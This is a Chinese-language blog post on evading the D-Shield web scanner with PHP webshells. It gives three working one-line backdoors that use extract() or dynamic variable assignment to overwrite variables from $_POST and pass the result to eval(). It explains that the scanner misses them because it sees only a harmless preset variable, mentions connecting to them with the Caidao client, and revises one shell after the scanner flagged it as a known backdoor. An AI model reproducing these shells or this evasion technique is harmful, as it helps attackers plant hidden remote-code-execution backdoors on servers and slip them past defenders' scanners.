变量覆盖过d盾一句话

August 20, 2019 · 默认分类 · 1018次阅读

前言

关于extract函数之前一篇文章CTF学习笔记中已经介绍过了,昨晚上突然想到用这个变量覆盖来绕过d盾我自个觉得我脑洞真大hhhhh.

原理

d盾杀马不杀执行函数,主要杀带参,举几个例子eval("phpinfo()");你把eval内容写死了,d盾就不报,所以我大概思路就是用eval执行一个已经被定义了的变量,这个变量的内容是安全的,然后用extract覆盖掉变量,最终eval执行的还是我们传入的内容,但是d盾只认为他执行的之前那个被定义了的变量.

成品

<?php
$array = array(
    2  => $_POST,
);

$a = 'a';
$b = 0;
extract($array[2]);

eval($a.$b);
?>

最开始只定义一个变量,然后覆盖,d盾一直给我报等级一,可疑eval可疑assert
2019-08-20T11:01:54.png
咱再加个变量,改成上面那样,就不可疑了,嘿嘿
2019-08-20T11:02:51.png
关于菜刀链接的问题,这个很简单
2019-08-20T11:03:51.png
自己要改密码的话改变量名就好了.

8月21日凌晨两点更文

过waf原理主要是变量覆盖,但是咱不止extract这一中覆盖方式,For example:

<?php
$a = 'a';
$b = 'b';
$c = null;
foreach ($_POST as $key => $value){
    ${$key} = $value; 
}
eval($a.$b.$c);//这里把eval换成assert会报等级1...emmmm

?>

2019-08-20T18:02:42.png

这些变量覆盖的知识都是在CTF中学的,实战没用上在这用上了2333333

再更新一下

昨天拿d盾一扫发现前面那个马被提交样本了,直接给我报五级已知后门,不过我改了一下又能用了

<?php
$array = array(
    2  => $_POST,
);

$a = 'a';
$b = 0;
$c = null;
extract($array[2]);

eval($a.$b.$c);
?>

标签:none

最后编辑于:2019/08/27 21:53